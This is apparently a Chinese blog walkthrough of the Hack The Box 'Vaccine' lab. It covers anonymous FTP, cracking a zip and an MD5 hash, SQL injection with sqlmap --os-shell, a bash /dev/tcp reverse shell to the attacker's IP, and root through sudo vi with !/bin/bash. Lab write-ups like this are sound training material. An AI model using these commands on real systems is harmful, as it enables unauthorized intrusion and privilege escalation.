0%

HTB-Vaccine靶机渗透

Task1

Besides SSH and HTTP, what other service is hosted on this box?

除了SSH和HTTP服务,还有什么服务?

这里nmap扫一下就出了

image-20260730235457603

可以看到还有个ftp

Task2

This service can be configured to allow login with any password for specific username. What is that username?

使用特定用户名没有密码的登录,那就是匿名帐户,常识anonymous

Task3

What is the name of the file downloaded over this service?

通过这个服务下载的文件叫什么名字?

匿名帐户进ftp,进去查看有个zip文件,backup.zip

image-20260731001236747

Task4

What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

问john自带的破解hash的工具叫什么?zip2john

Task5

What is the password for the admin user on the website? 问网站上admin的密码是什么

首先破解一下上个压缩包的密码,用上一问提到的zip2john工具

image-20260731155726800

这里保存到一个backup.txt的文件里,然后用john破解

image-20260731160101741

踩到一个坑,当时很好奇,前一天晚上破解好了,第二天没显示密码,后来网上搜了,john破解成功后会有记录,再跑的话就判定已经破解过了。这个时候就要清楚john的缓存,重新跑一下

image-20260731160653705

可以看到跑出来压缩包密码,直接解压就可以了。

解压之后看到管理员admin和md5加密后的密码

image-20260731160816410

拿到在线网站里面解密下

image-20260731160921942

密码就出来了

Task6

What option can be passed to sqlmap to try to get command execution via the sql injection? 说sqlmap的什么选项可以进行命令执行?

--os-shell

这里登进网站,搜索框随意输入数字之后发现有id号

image-20260731161602705

SQL注入,用sqlmap跑跑看

一开始sqlmap又报错了

image-20260731162756656

我ping的是正常的,但是就是打不了,后来排查原因,代理冲突了

image-20260731162844488

1
2
unset http_proxy
unset https_proxy

就可以了

然后获取到shell后,进行反弹

image-20260731163348075

可以看到本机有了回显

sqlmap的shell上面写

1
bash -c 'bash -i >& /dev/tcp/渗透机IP/8888 0&>1'

image-20260731164424844

查看php文件知道密码是P@s5w0rd!,尝试用ssh连接

image-20260731165314796

执行sudo -l有一个高权限文件,可以利用这个文件提权

image-20260731165627712

执行上图中标注的

1
/bin/vi /etc/postgresql/11/main/pg_hba.conf

到文件里之后

1
!/bin/bash

退出文件,出来直接就是root用户了

image-20260731171007855

image-20260731171150781

所以

Task7

What program can the postgres user run as root using sudo?

答案就是vi

然后就是提交旗帜,直接查看提交就可以了

image-20260731171325660